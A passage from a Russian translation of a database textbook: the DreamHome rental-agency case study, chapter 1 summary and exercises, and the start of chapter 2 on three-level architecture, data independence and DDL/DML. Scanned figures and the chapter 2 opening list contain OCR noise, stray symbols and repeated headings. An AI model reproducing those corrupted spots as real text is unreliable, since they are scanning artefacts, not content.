Bonus Payment340'
Bonus Payment340'
Puc. 1.8. Форма с данными о сотруднике компании DreamHome
Сдаваемые в аренду объекты недвижимости
Каждое отделение работает со сдаваемыми в аренду объектами недвижимости, которым присваиваются номера, уникальные для всех отделений. Хранятся также другие сведения об объекте недвижимости: полный адрес (улица, район, город, почтовый индекс), тип объекта, количество комнат и месячная арендная плата. Месячная арендная плата ежегодно пересматривается. Среди сдаваемых в аренду объектов недвижимости большую часть составляют квартиры. Каждый объект поручается определенному сотруднику компании, который отвечает за работу с ним. Каждый сотрудник может отвечать не более чем за 10 объектов недвижимости одновременно.
При исключении какого-либо объекта из списка сдаваемой в аренду недвижимости компания DreamHome требует сохранять данные об этом объекте в течение трех лет. На рис. 1.9 показан пример отчета об объектах недвижимости, сдаваемых в аренду отделением компании, расположенным в городе Глазго.
Расе 1' nDf88In^0Te.- 'Date l2-May-98
.Property for Rent■y
Branch Number 83, Telephone Number 0141-339-2178
BranchOfficeAddress 163 Main St,,Fax Number 0141-339-4439
'Partick, Glasgow
'GH9QX-
Property Number
Street
Area
City
Postcode
Type
No of Rooms
Monthly Rent
PG4
PG36
PG21
PG16
6 Lawrence St
2 Manor Rd
18 Dale Rd
5 Novar Dr
Partick
Hyndland
Hyndland
Glasgow
Glasgow
Glasgow
Glasgow
G119QX
G324QX
G12
G129AX
Flat
Flat
House
Flat
3
3
5
4
350
375
600
450
Рис. 1.9. Отчет с перечислением объектов недвижимости, сдаваемых в аренду отделением компании DreamHome, расположенным в городе Глазго
Владельцы недвижимости
Компания DreamHome управляет недвижимостью частных лиц (т.е. физических лиц) и других компаний (т.е. юридических лиц). Каждый владелец сдаваемых в аренду объектов идентифицируется собственным номером, уникальным для всех отделений компании. Дополнительная информация о частных лицах — владельцах недвижимости включает имя и фамилию, адрес и номер телефона. Сведения о юридических лицах, являющихся владельцами сдаваемых в аренду объектов, включают название компании, тип деятельности, адрес представительства, телефон и имя контактного лица. На рис. 1.1, а приведен пример формы, используемой для записи сведений о каждом сдаваемом в аренду объекте недвижимости и его владельце.
Клиенты/арендаторы
Когда клиент впервые обращается в отделение компании DreamHome, о нем записываются следующие сведения: имя и фамилия, адрес, номер телефона, предпочитаемый тип жилья, а также максимальная арендная плата, которую клиент согласен платить. Каждый клиент (как потенциальный арендатор) получает личный номер, уникальный для всех отделений компании. В компании DreamHome принято проводить собеседование со всеми потенциальными арендаторами, в результате подобного собеседования должна быть получена и сохранена такая информация, как дата беседы, имя сотрудника, который проводил собеседование с клиентом, и любые его комментарии о потенциальном арендаторе. На рис. 1.1, б показан пример формы со сведениями о потенциальном арендаторе по имени Mike Ritchie.
Осмотр недвижимости
В большинстве случаев потенциальный арендатор еще до заключения договора об аренде желает осмотреть один или несколько сдаваемых объектов недвижимости. Сведения о таком просмотре включают дату осмотра объекта и любые комментарии потенциального арендатора, сделанные им в отношении этого объекта.
Реклама недвижимости
Недвижимость, которую не удается быстро сдать в аренду, компания DreamHome рекламирует в местных и общенациональных газетах. По каждому сделанному рекламному объявлению сохраняются такие сведения, как номер рекламируемого объекта, дата и стоимость размещения рекламы. В рекламных целях используются только определенные газеты, и компания DreamHome хранит о них следующие сведения: название газеты, адрес представительства, номер телефона и факса, а также имя контактного лица.
Договора об аренде .
Компания DreamHome отвечает за определение условий аренды в договоре на аренду клиентом некоторого объекта недвижимости. Запись по каждому заключенному договору об аренде включает его номер, сведения об арендаторе, а также сведения об арендуемом объекте недвижимости, включая месячную арендную плату, способ оплаты, сумму задатка, отметку об уплате задатка, дату начала и окончания аренды, срок действия договора об аренде и сведения о сотруднике, который составил данный договор об аренде. Минимальный и максимальный сроки действия договора об аренде равняются трем месяцам и году соответственно. Номер договора аренды уникален для всех отделений компании. Клиенты компании DreamHome могут арендовать как один, так и сразу несколько объектов недвижимости.
По завершении срока действия договора об аренде, по правилам компании DreamHome, сведения о нем должны храниться в течение трех лет. На рис. 1.2 приведен пример формы, которая содержит сведения о договоре об аренде клиентом Mike Ritchie объекта недвижимости в городе Глазго.
' ^е 1 .- ' , Property Inspection Report ^<^^Ь^'^'^-Д
Property Number PG21
Address 18 Dale Rd,7
, ’Hyndland, Glasgow
; . '612'
Property Type House No of Rooms 5
Allocated to 163 Main St.
, Branch Partick, Glasgow *
Branch Number, B3 Л7Г \j/^
Staff Name
Inspection Date
Comments
Susan Brand
Susan Brand
Ann Beech
12-Apr-95
30-Sep-96
01 -Jul-97
No problems'
Cracked ceiling in living room
Requires urgent repair
Crockery needs to be replaced
Рис. 1.10. Отчет компании DreamHome с данными об инспекционных проверках некоторого объекта недвижимости
Инспекция арендованного объекта
В качестве одной из услуг, предлагаемых компанией DreamHome владельцам недвижимости, является регулярное проведение инспекторских проверок текущего состояния сданных в аренду объектов. Каждый объект недвижимости проверяется не реже, чем раз в полгода. При этом сотрудники компании DreamHome инспектируют только арендованные или сдаваемые в аренду объекты. После каждой инспекции фиксируются сведения о проверенном объекте недвижимости, дата проведения инспекции, а также любые замечания выполнявшего инспекцию сотрудника по поводу текущего состояния этого объекта. На рис. 1.10 приведен пример отчета с данными об инспекционных проверках некоторого объекта.
Требования к транзакциям
В этом разделе перечислены все транзакции, которые выполняются в каждом отделении компании DreamHome с целью получения информации, необходимой сотрудникам для эффективной работы с владельцами и арендаторами объектов недвижимости. Каждая транзакция связана с определенной бизнес-функцией компании DreamHome. Ответственность за выполнение этих функций несут сотрудники компании, занимающие соответствующие должности. В конце описания каждой транзакции в скобках указан ее пользователь или группа пользователей.
Транзакция а. Создание и корректировка записей с данными о сотрудниках и их ближайших родственниках для каждого отделения (менеджер).
Транзакция Ь. Создание отчета со сведениями о сотрудниках каждого отделения (менеджер).
Транзакция с. Создание списка сотрудников, работающих под началом данного инспектора (менеджер и этот инспектор).
Транзакция d. Создание списка инспекторов, работающих в каждом из отделений компании (менеджер и инспектор).
Транзакция е. Создание и корректировка записей с данными о сдаваемых в аренду объектах недвижимости (и ее владельцах) в конкретном отделении компании (инспектор).
Транзакция f. Создание отчета с данными о сдаваемых в аренду объектах недвижимости в данном отделении компании (все сотрудники).
Транзакция g. Создание списка сдаваемых в аренду объектов, за которые отвечает определенный сотрудник (инспектор).
Транзакция h. Создание и корректировка записей с описанием потенциальных арендаторов в каждом из отделений компании (инспектор).
Транзакция L Создание списка потенциальных арендаторов, зарегистрированных в каждом из отделений компании (все сотрудники).
Транзакция j. Поиск всех сдаваемых в аренду объектов, удовлетворяющих требованиям потенциального арендатора (все сотрудники).
Транзакция к. Создание и корректировка записей со сведениями об осмотре сдаваемых в аренду объектов потенциальными арендаторами (все сотрудники).
Транзакция L Создание отчета с замечаниями потенциальных арендаторов в отношении конкретного сдаваемого в аренду объекта (все сотрудники).
Транзакция т. Создание и корректировка записей со сведениями об опубликованных в газетах рекламных объявлениях о сдаче в аренду объектов недвижимости (все сотрудники).
Транзакция п. Создание списка всех объявлений, сделанных в отношении определенного сдаваемого в аренду объекта (инспектор).
Транзакция о. Создание списка всех объявлений о сдаче объектов в аренду, опубликованных в определенной газете (инспектор).
Транзакция р. Создание и корректировка записей со сведениями о заключенных договорах об аренде (менеджер и инспектор).
Транзакция q. Распечатка сведений об условиях заключенного договора об аренде для заданного объекта (менеджер и инспектор).
Транзакция г. Создание и корректировка записей со сведениями о выполненных проверках состояния сдаваемой в аренду недвижимости (все сотрудники).
Транзакция s. Создание списка всех проведенных проверок состояния заданного объекта недвижимости (инспектор).
Резюме
Система управления базами данных (СУБД) является базовой структурой информационной системы, в корне изменившей методы работы многих организаций. СУБД все еще остается объектом интенсивных научных исследований, и для многих важных задач все еще требуется найти удовлетворительное решение.
Предшественницей СУБД была файловая система, т.е. набор приложений, которые выполняли отдельные необходимые пользователю операции, например такие, как создание отчетов. Каждая программа определяла и управляла своими собственными данными. Хотя файловая система была значительным достижением по сравнению с ручной картотекой, ее использование все еще было сопряжено с большими проблемами, которые в основном были связаны с избыточностью данных и зависимостью программ от данных.
Появление СУБД было вызвано необходимостью разрешить проблемы, характерные для файловых систем. База данных — это совместно используемый набор логически связанных данных (и описание этих данных), который предназначен для удовлетворения информационных потребностей организации. СУБД — это программное обеспечение, которое позволяет пользователям определять, создавать и обслуживать базу данных, а также управлять доступом к ней.
Доступ к базе данных осуществляется с помощью СУБД. В СУБД предусмотрен язык определения данных (Data Definition Language — DDL), с помощью которого пользователи могут определять структуру базы данных, а также язык управления данными (Data Manipulation Language — DML), с помощью которого пользователи могут вставлять, удалять и извлекать данные из базы.
СУБД позволяет организовать контроль за доступом пользователей к базе данных. Она предоставляет средства поддержки безопасности и целостности данных, обеспечивает параллельную работу многих приложений, средства копи- рования/восстановления, а также позволяет организовать доступный пользователям каталог. В типичной СУБД также предусмотрен механизм создания представлений, предназначенных для упрощения вида данных, с которыми имеют дело пользователи.
Среда СУБД состоит из аппаратного обеспечения (компьютеров), программного обеспечения (СУБД, операционной системы и приложений), данных, процедур и пользователей. В данном контексте к пользователям относятся администраторы данных и баз данных, проектировщики баз данных, прикладные программисты и конечные пользователи.
Корни СУБД лежат в файловых системах. Иерархические и CODASYL-системы представляют собой первое поколение СУБД. Типичным представителем иерархической модели является система IMS (Information Management System), a сетевой (CODASYL-модели) — система IDS (Integrated Data System). Обе они появились в середине 60-х годов. Реляционная модель, впервые предложенная Э. Ф. Коддом в 1970 году, представляет собой второе поколение СУБД. Она оказала значительное влияние на сообщество разработчиков СУБД, и в настоящее время существует более 100 различных типов реляционных СУБД.
Третье поколение СУБД представляют объектно-реляционные СУБД и объектно-ориентированные СУБД.
Среди преимуществ подхода, основанного на использовании баз данных, следует отметить контролируемую избыточность данных, непротиворечивость данных, совместное использование данных, повышенную безопасность и целостность. А среди недостатков можно указать сложность, высокую стоимость и снижение производительности приложений, а также возможность весьма серьезных последствий при выходе системы из строя.
Вопросы
Приведите четыре примера СУБД, помимо тех, которые перечислены в разделе 1.1.
Объясните значение следующих терминов:
данные;
база данных;
система управления базами данных;
независимость от данных;
безопасность;
целостность;
ж)представления.
Опишите подход, используемый для обработки данных в файловых системах. Укажите основные недостатки этого подхода.
Опишите основные характеристики подхода, основанного на использовании базы данных, и сравните их с характеристиками обычных файловых систем.
Опишите пять компонентов среды СУБД и поясните, как они связаны друг с другом.
Объясните роли следующих групп пользователей базы данных:
администратор данных;
администратор базы данных;
проектировщик логической части базы данных;
проектировщик физической части базы данных;
прикладной программист;*
обычные пользователи.
Назовите основные достоинства и недостатки систем управления базами данных.
Упражнения
Проведите опрос пользователей СУБД. Какие компоненты СУБД они считают наиболее полезными и почему? Какие компоненты СУБД наименее полезны и почему? Какие недостатки и достоинства СУБД они заметили?
Создайте небольшую программу, которая позволит вводить и отображать данные об арендаторе (номер арендатора, имя, адрес, номер телефона, требуемое количество комнат и максимальное значение арендной платы). Все эти сведения сохраните в файле. Введите несколько записей и отобразите эти сведения
на экране. А потом повторите этот процесс, но не посредством написания специальной программы, а с помощью любой доступной вам СУБД. Какие можно сделать выводы, сравнивая этих два подхода?
Внимательно ознакомьтесь с учебным проектом DreamHome, описание которого приведено в разделе 1.7. Каким образом СУБД может помочь в работе этой организации? Какие, на ваш взгляд, данные должны быть представлены в такой базе данных? Какие связи существуют между этими данными? Какие, по вашему мнению, запросы в ней понадобятся?
Ознакомьтесь с учебным проектом Wellmeadows Hospital, описание которого приведено в приложении А, “Учебный проект Wellmeadows Hospital”. Каким образом СУБД может помочь в работе этой организации? Какие, на ваш взгляд, данные должны быть представлены в подобной базе данных? Какие связи существуют между этими данными?
ГЛАВА
* Среда базы данных
, В этой главе.... XX
у, .Происхождение трехуровневой архитектуры баз данных
:; -^назначение.*' .
. Содержание внешнего, концептуального
' - "^внутреннего уровней.
= Назначение внешне концептуального
/<?<t^ Жи концептуально внутреннего отображений.
^||Х||^
Ж Ж*< и физической независимости от данных.
4^'^языками DDL и DML.X - :
^Ш?--Классификация моделей данных.
^^^Надначение и важность концептуального моделирования.
||Ж^;К^ СУБД. - .-. .,■
^^^Значение архитектуры “клиент/сервер” и ее преимущества перед другими архитектурами СУБД.
Функции и значение системного каталога. ‘ ~ х <
Основная цель системы управления базами данных (далее — просто СУБД) заключается в том, чтобы предложить пользователю абстрактное представление данных, скрыв конкретные особенности хранения и управления ими. Следовательно, отправной точкой при проектировании базы данных должно быть абстрактное и общее описание информационных потребностей организации, которые должны найти свое отражение в создаваемой базе данных. В этой и следующих главах данной книги понятие “организация” используется в широком смысле, обозначая либо некоторую организацию в целом, либо только ее часть. Например, в учебном проекте DreamHome представляет интерес моделирование следующих понятий:
сущностей “реального мира”, таких как Staff (Работник), Property (Объект недвижимости), Owners (Владельцы объектов) и Renters (Арендаторы);
атрибутов, описывающих свойства или качества каждой сущности (например, сущность Staff обладает атрибутами Name (Имя), Address (Адрес) и Salary (Зарплата));
связей между этими сущностями (например, Staff управляет Property).
Более того, поскольку база данных является общим ресурсом, то каждому пользователю может потребоваться свое, отличное от других представление о характеристиках информации, сохраняемой в базе данных. Для удовлетворения этих потребностей архитектура большинства современных коммерческих СУБД в той или иной степени строится на базе так называемой архитектуры ANSI-SPARC. В этой главе мы обсудим различные архитектурные и функциональные характеристики СУБД.
Структура этой главы
В разделе 2.1 рассматриваются трехуровневая архитектура ANSI-SPARC и преимущества, достигаемые в случае ее использования. В разделе 2.2 рассматриваются типы языков, которые используются в среде СУБД, а в разделе 2.3 вводятся понятия моделей данных и концептуального моделирования, которые более подробно будут описаны в других главах этой книги. В разделе 2.4 обсуждаются основные функции, которые должна выполнять СУБД, а в разделах 2.5 и 2.6 — архитектура типичной СУБД. Завершается эта глава изучением функциональных возможностей системного каталога СУБД, в котором хранятся метаданные, т.е. данные о данных, сохраняемых в этой базе данных. Примеры в этой главе построены на основе учебного проекта DreamHome, описанного в разделе 1.7.
В этой главе содержатся важные базовые сведения о СУБД. Однако читателям, не имеющим большого опыта работы с системами управления базами данных, она может показаться достаточно сложной. Об этом не стоит особо беспокоиться, просто позже при чтении последующих глав данной книги им будет полезно вновь вернуться к этой главе, что позволит прояснить все непонятные места.
Трехуровневая архитектура ANSI-SPARC
Первая попытка создания стандартной терминологии и общей архитектуры СУБД была предпринята в 1971 году группой, называемой DBTG. Она была создана после конференции CODASYL (Conference on Data Systems and Languaguages — Конференция по языкам и системам данных), прошедшей в этом же году. Группа DBTG признала необходимость использования двухуровневого подхода, построенного на основе использования системного представления, т.е. схемы (schema), и пользовательских представлений, т.е. подсхем (subschema). Сходные терминология и архитектура были предложены в 1975 году Комитетом планирования стандартов и норм SPARC (Standards Planning and Requirements Committee) Национального Института Стандартизации США (American National Standard Institute — ANSI), ANSI/X3/SPARC (ANSI, 1975). Комитет ANSI/SPARC признал необходимость использования трехуровневого подхода. В этих материалах отражены предложения, которые были сделаны организациями Guide/Share,
состоящими из пользователей продуктов корпорации IBM, и опубликованы за несколько лет до этого. Основное внимание в них было сконцентрировано на необходимости воплощения независимого уровня для изоляции программ от особенностей представления данных на более низком уровне (Guide/Share, 1970). Хотя модель ANSI/SPARC не стала стандартом, тем не менее она все еще представляет собой основу для понимания некоторых функциональных особенностей СУБД.
В данном случае для нас наиболее фундаментальным моментом в этих и последующих отчетах исследовательских групп является идентификация трех уровней абстракции, т.е. трех различных уровней описания элементов данных. Эти уровни формируют трехуровневую архитектуру, которая охватывает внешний, концептуальный и внутренний уровни, как показано на рис. 2.1. Цель трехуровневой архитектуры заключается в отделении пользовательского представления базы данных от ее физического представления. Ниже перечислено несколько причин, по которым желательно выполнять такое разделение.
Каждый пользователь должен иметь возможность обращаться к одним и тем же данным, используя свое собственное представление о них. Каждый пользователь должен иметь возможность изменять свое представление о данных, причем это изменение не должно оказывать влияния на других пользователей.
Пользователи не должны непосредственно иметь дело с такими подробностями физического хранения данных в базе, как индексирование и хеширование (приложение А, “Учебный проект Wellmeadows Hospital”). Иначе говоря, взаимодействие пользователя с базой не должно зависеть от особенностей хранения в ней данных.
Администратор базы данных (АБД) должен иметь возможность изменять структуру хранения данных в базе, не оказывая влияния на пользовательские представления.
Внутренняя структура базы данных не должна зависеть от таких изменений физических аспектов хранения информации, как переключение на новое устройство хранения.
АБД должен иметь возможность изменять концептуальную или глобальную структуру базы данных без какого-либо влияния на всех пользователей.
Пользователь 1Пользователь 2Пользователь л
Рис. 2.1. Трехуровневая архитектура ANSI SPARC
Уровень, на котором воспринимают данные пользователи, называется внешним уровнем (external level), тогда как СУБД и операционная система воспринимают данные на внутреннем уровне (internal level). Именно на внутреннем уровне данные реально сохраняются с
использованием всех тех структур и файловой организации, которые описаны в приложении Б, “Структура данных в файлах с различной организацией”. Концептуальный уровень (conceptual level) представления данных предназначен для отображения внешнего уровня на внутренний и обеспечения необходимой независимости друг от друга.•
Внешний уровень
Внешний Представление базы данных с точки зрения пользователей. Этот уроуровень вень описывает ту часть базы данных, которая относится к каждому пользователю.
Внешний уровень состоит из нескольких различных внешних представлений базы данных. Каждый пользователь имеет дело с представлением “реального мира”, выраженным в наиболее удобной для него форме. Внешнее представление содержит только те сущности, атрибуты и связи “реального мира”, которые интересны пользователю. Другие сущности, атрибуты или связи, которые ему неинтересны, также могут быть представлены в базе данных, но пользователь может даже не подозревать об их существовании.
Помимо этого, различные представления могут по-разному отображать одни и те же данные. Например, один пользователь может просматривать даты в формате (день, месяц, год), а другой — в формате (год, месяц, день). Некоторые представления могут включать производные или вычисляемые данные, которые не хранятся в базе данных как таковые, а создаются по мере надобности. Например, в проекте DreamHome можно было бы организовать просмотр данных о возрасте сотрудников. Однако вряд ли стоит хранить эти сведения в базе данных, поскольку в таком случае их пришлось бы ежедневно обновлять. Вместо этого в базе данных хранятся даты рождения сотрудников, а возраст вычисляется средствами СУБД по обнаружении соответствующей ссылки. Представления могут также включать комбинированные или производные данные из нескольких объектов. Более подробно представления рассматриваются в разделах 3.5 и 14.1.
Концептуальный уровень
Концептуальный Обобщающее представление базы данных. Этот уровень опи- уровеньсывает то, какие данные хранятся в базе данных, а также
связи, существующие между ними.
Промежуточным уровнем в трехуровневой архитектуре является концептуальный уровень. Этот уровень содержит логическую структуру всей базы данных (с точки зрения АБД). Фактически, это полное представление требований к данным со стороны организации, которое не зависит от любых соображений относительно способа их хранения. На концептуальном уровне представлены следующие компоненты:
все сущности, их атрибуты и связи;•
накладываемые на данные ограничения;
семантическая информация о данных;
информация о мерах обеспечения безопасности и поддержки целостности данных.
Концептуальный уровень поддерживает каждое внешнее представление, в том смысле, что любые доступные пользователю данные должны содержаться (или могут быть вычислены) на этом уровне. Однако этот уровень не содержит никаких сведений о методах хранения данных. Например, описание сущности должно содержать сведения о типах данных атрибутов (целочисленный, действительный или символьный) и их длине (количестве значащих цифр или максимальном количестве символов), но не должно включать сведений об организации хранения данных, например об объеме занятого пространства в байтах.
Внутренний уровень
Внутренний Физическое представление базы данных в компьютере. Этот уровень уровень описывает, как информация хранится в базе данных.
Внутренний уровень описывает физическую реализацию базы данных и предназначен для достижения оптимальной производительности и обеспечения экономного использования дискового пространства. Он содержит описание структур данных и организации отдельных файлов, используемых для хранения данных в запоминающих устройствах. На этом уровне осуществляется взаимодействие СУБД с методами доступа операционной системы (вспомогательными функциями хранения и извлечения записей данных) с целью размещения данных на запоминающих устройствах, создания индексов, извлечения данных и т.д. На внутреннем уровне хранится следующая информация:
распределение дискового пространства для хранения данных и индексов;
описание подробностей сохранения записей (с указанием реальных размеров сохраняемых элементов данных);
сведения о размещении записей;
сведения о сжатии данных и выбранных методах их шифрования.
Ниже внутреннего уровня находится физический уровень (physical level), который контролируется операционной системой, но под руководством СУБД. Однако функции СУБД и операционной системы на физическом уровне не вполне четко разделены и могут варьироваться от системы к системе. В одних СУБД используются многие предусмотренные в данной операционной системе методы доступа, тогда как в других применяются только самые основные и реализована собственная файловая организация. Физический уровень доступа к данным ниже СУБД состоит только из известных операционной системе элементов (например, указателей, как реализовано последовательное распределение и хранятся ли поля внутренних записей на диске в виде непрерывной последовательности байтов).
Схемы, отображения и экземпляры
Общее описание базы данных называется схемой базы данных. Существует три различных типа схем базы данных, которые определяются в соответствии с уровнями абстракции трехуровневой архитектуры, как показано на рис. 2.1. На самом высоком уровне имеется несколько внешних схем или подсхем, которые соответствуют разным представлениям данных. На концептуальном уровне описание базы данных называют концептуальной схемой, а на самом низком уровне абстракции — внутренней схемой.
Концептуальная схема описывает все элементы данных и связи между ними, с указанием необходимых ограничений поддержки целостности данных. Для каждой базы данных имеется только одна концептуальная схема. На нижнем уровне находится внутренняя схема, которая является полным описанием внутренней модели данных.
Она содержит определения хранимых записей, методы представления, описания полей данных, сведения об индексах и выбранных схемах хеширования. Для каждой базы данных существует только одна внутренняя схема.
СУБД отвечает за установление соответствия между этими тремя типами схем, а также за проверку их непротиворечивости. Иначе говоря, СУБД должна убедиться в том, что каждую внешнюю схему можно вывести на основе концептуальной схемы. Для установления соответствия между любыми внешней и внутренней схемами СУБД должна использовать информацию из концептуальной схемы. Концептуальная схема связана с внутренней схемой посредством концептуально внутреннего отображения. Оно позволяет СУБД найти фактическую запись или набор за-
писей на физическом устройстве хранения, которые образуют логическую запись в концептуальной схеме, с учетом любых ограничений, установленных для выполняемых над данной логической записью операций. Оно также позволяет обнаружить любые различия в именах объектов, именах атрибутов, порядке следования атрибутов, их типах данных и т.д. Наконец, каждая внешняя схема связана с концептуальной схемой с помощью внешне концептуального отображения. С его помощью СУБД может отображать имена пользовательского представления на соответствующую часть концептуальной схемы.
Примеры различных уровней приведены на рис. 2.2. На нем показаны два различных внешних представления информации о персонале: одно состоит из личного номера сотрудника (Sno), его имени (FName) и фамилии (LName), возраста (Аде), суммы зарплаты за год (Salary) и номера отделения компании, в котором этот сотрудник работает (Впо). Другое представление включает личный номер сотрудника (Staff_No), фамилию (LName) и номер отделения компании, в котором он работает (Впо). Эти внешние представления сливаются воедино в одном концептуальном представлении. Особенностью данного процесса слияния является то, что поле возраста сотрудника (Аде) преобразуется в поле даты его рождения (DOB). СУБД поддерживает внешне концептуальное отображение. Например, поле Sno из первого внешнего представления отображается на поле Staff_No в записи концептуального представления. Затем концептуальный уровень отображается на внутренний уровень, который содержит физическое описание структуры записи концептуального представления. На этом уровне определение структуры формулируется на языке высокого уровня. Эта структура содержит указатель (Next), который позволяет физически связать все записи о сотрудниках в единую цепочку. Обратите внимание, что порядок полей на внутреннем уровне отличается от порядка атрибутов, принятого на концептуальном уровне. Таков механизм, с помощью которого СУБД осуществляет концептуально внутреннее отображение.
Внешнее представление 1Внешнее представление 2
| Sno | FName LName | Age | Salary || Staff No | LName | Впо |
Концептуальный уровень | Staff No | FName | LName | DOB | Salary j BranchJto ^
▼
struct STAFF (
int Staff_No;
int Branch_No;
Внутренний уровеньchar FName [15];
char LName [15];
struct date Date_of_Birth;
float Salary;
struct STAFF *next;Г Указатель на следующую запись STAFF 7
index Staff_No; index Branch_No; Г Определение индексов 7
Рис. 2.2. Различия между тремя уровнями представления данных
Важно различать описание базы данных и саму базу данных. Описанием базы данных является схема базы данных. Схема создается в процессе проектирования базы данных, причем предполагается, что она изменяется достаточно редко. Однако содержащаяся в базе данных информация может меняться часто — например,
всякий раз при вставке сведений о новом сотруднике или новом объекте сдаваемой в аренду недвижимости. Совокупность информации, хранящейся в базе данных в любой определенный момент времени, называется состоянием базы данных. Следовательно, одной и той же схеме базы данных может соответствовать множество ее различных состояний. Схема базы данных иногда называется содержанием базы данных, а ее состояние — детализацией.
Независимость от данных
Основным назначением трехуровневой архитектуры является обеспечение независимости от данных, которая означает, что изменения на нижних уровнях никак не влияют на верхние уровни. Различают два типа независимости от данных: логическую и физическую.
Логическая независимость от данныхЛогическая независимость от данныхЛогическая независимость от данных означает полную защищенность внешних схем от изменений, вносимых в концептуальную схему.
Логическая независимость от данных
Логическая независимость от данных
Такие изменения концептуальной схемы, как добавление или удаление новых сущностей, атрибутов или связей, должны осуществляться без необходимости внесения изменений в уже существующие внешние схемы или переписывания прикладных программ. Ясно, что пользователи, для которых эти изменения предназначались, должны знать о них, но очень важно, чтобы другие пользователи даже не подозревали об этом.
Физическая
Физическая независимость от данных означает защищенность
независимость
концептуальной схемы от изменений, вносимых во внутреннюю
от данных
схему.
Такие изменения внутренней схемы, как использование различных файловых систем или структур хранения, разных устройств хранения, модификация индексов или хеширование, должны осуществляться без необходимости внесения изменений в концептуальную или внешнюю схемы. Пользователем могут быть замечены изменения только в общей производительности системы. На самом деле наиболее распространенной причиной внесения изменений во внутреннюю схему является именно недостаточная производительность выполнения операций. На рис. 2.3 показано место перечисленных выше типов независимости от данных в трехуровневой архитектуре СУБД.
Принятое в архитектуре ANSI-SPARC двухэтапное отображение может сказываться на эффективности работы, но при этом оно обеспечивает более высокую независимость от данных. Для повышения эффективности в модели ANSI-SPARC допускается использование прямого отображения внешних схем на внутренние, без обращения к концептуальной схеме. Однако это снижает уровень независимости от данных, поскольку при каждом изменении внутренней схемы потребуется внесение определенных изменений во внешнюю схему и все зависящие от нее прикладные программы.
Рис, 2.3. Реализация независимости от данных в трехуровневой архитектуре ANSI-SPARC
Языки баз данных
Внутренний язык СУБД для работы с данными состоит из двух частей: языка определения данных (Data Definition Language — DDL) и языка управления данными (Data Manipulation Language — DML). Язык DDL используется для определения схемы базы данных, а язык DML — для чтения и обновления данных, хранимых в базе. Эти языки называются подъязыками данных, поскольку в них отсутствуют конструкции для выполнения всех вычислительных операций, обычно используемых в языках программирования высокого уровня. Во многих СУБД предусмотрена возможность внедрения операторов подъязыка данных в программы, написанные на таких языках программирования высокого уровня, как COBOL, Fortran, Pascal, Ada или С. В этом случае язык высокого уровня принято называть базовым языком (host language). Перед компиляцией файла программы на базовом языке, содержащей внедренные операторы подъязыка данных, потребуется предварительно удалить эти операторы, заменив их вызовами соответствующих функций СУБД. Затем этот предварительно обработанный файл обычным образом компилируется с помещением результатов в объектный модуль, который компонуется с библиотекой, содержащей вызываемые в программе функции СУБД. После этого полученный программный текст будет готов к выполнению. Помимо механизма внедрения, для большинства подъязыков данных также предоставляются средства интерактивного выполнения их операторов, вводимых пользователем непосредственно со своего терминала.
Язык определения данных - DDL
Язык DDL Описательный язык, который позволяет АБД или пользователю описать и поименовать сущности, необходимые для работы некоторого приложения, а также связи, имеющиеся междУ различными сущностями.
Схема базы данных состоит из набора определений, выраженных на специальном языке определения данных — DDL. Язык DDL используется как для определения новой схемы, так и для модификации уже существующей. Этот язык нельзя использовать для управления данными.
Результатом компиляции DDL-операторов является набор таблиц, хранимый в особых файлах, называемых системным каталогом. В системном каталоге интегрированы метаданные — т.е. данные, которые описывают объекты базы данных, а
также позволяют упростить способ доступа к ним и управления ими. Метаданные включают определения записей, элементов данных, а также другие объекты, представляющие интерес для пользователей или необходимые для работы СУБД. Перед доступом к реальным данным СУБД обычно обращается к системному каталогу. Для обозначения системного каталога также используются термины словарь данных и каталог данных, хотя первый из них (словарь данных) обычно относится к программному обеспечению более общего типа, чем просто каталог СУБД. Системные каталоги более подробно обсуждаются дальше, в разделе 2.7.
Теоретически для каждой схемы в трехуровневой архитектуре можно было бы выделить несколько различных языков DDL, а именно язык DDL внешних схем, язык DDL концептуальной схемы и язык DDL внутренней схемы. Однако на практике существует один общий язык DDL, который позволяет задавать спецификации, как минимум, для внешней и концептуальной схем.
Язык управления данными - DML
Язык DML Язык, содержащий набор операторов для поддержки основных операций манипулирования содержащимися в базе данными.
К операциям управления данными относятся:
вставка в базу данных новых сведений;
модификация сведений, хранимых в базе данных;
извлечение сведений, содержащихся в базе данных;
удаление сведений из базы данных.
Таким образом, одна из основных функций СУБД заключается в поддержке языка манипулирования данными, с помощью которого пользователь может создавать выражения для выполнения перечисленных выше операций с данными. Понятие манипулирования данными применимо как к внешнему и концептуальному уровням, так и к внутреннему уровню. Однако на внутреннем уровне для этого необходимо определить очень сложные процедуры низкого уровня, позволяющие выполнять доступ к данным весьма эффективно. На более высоких уровнях, наоборот, акцент переносится в сторону большей простоты использования и основные усилия направляются на обеспечение эффективного взаимодействия пользователя с системой.
Языки DML отличаются базовыми конструкциями извлечения данных. Следует различать два типа языков DML: процедурный и непроцедурный. Основное отличие между ними заключается в том, что процедурные языки указывают то, как можно получить результат оператора языка DML, тогда как непроцедурные языки описывают то, какой результат будет получен. Как правило, в процедурных языках записи рассматриваются по отдельности, тогда как непроцедурные языки оперируют с целыми наборами записей.
Процедурные языки DML
Процедурный Язык, который позволяет сообщить системе о том, какие дан- язык DMLные необходимы, и точно указать, кок их можно извлечь.
С помощью процедурного языка DML пользователь, а точнее — программист, указывает на то, какие данные ему необходимы и как их можно получить. Это значит, что пользователь должен определить все операции доступа к данным (осуществляемые посредством вызова соответствующих процедур), которые должны быть выполнены для получения требуемой информации. Обычно такой процедурный язык DML позволяет извлечь запись, обработать ее и, в зависимости от полученных результатов, извлечь другую запись, которая должна быть подвергнута аналогичной обработке, и т.д. Подобный процесс извлечения данных продолжается до тех пор, пока не будут извлечены все запрашиваемые данные. Языки DML сетевых и иерархических СУБД обычно являются процедурными (раздел 2.3).
Непроцедурные языки DML
Непроцедурный Язык, который позволяет указать лишь то, какие данные тре- язык DMLбуются, но не то, как их следует извлекать.
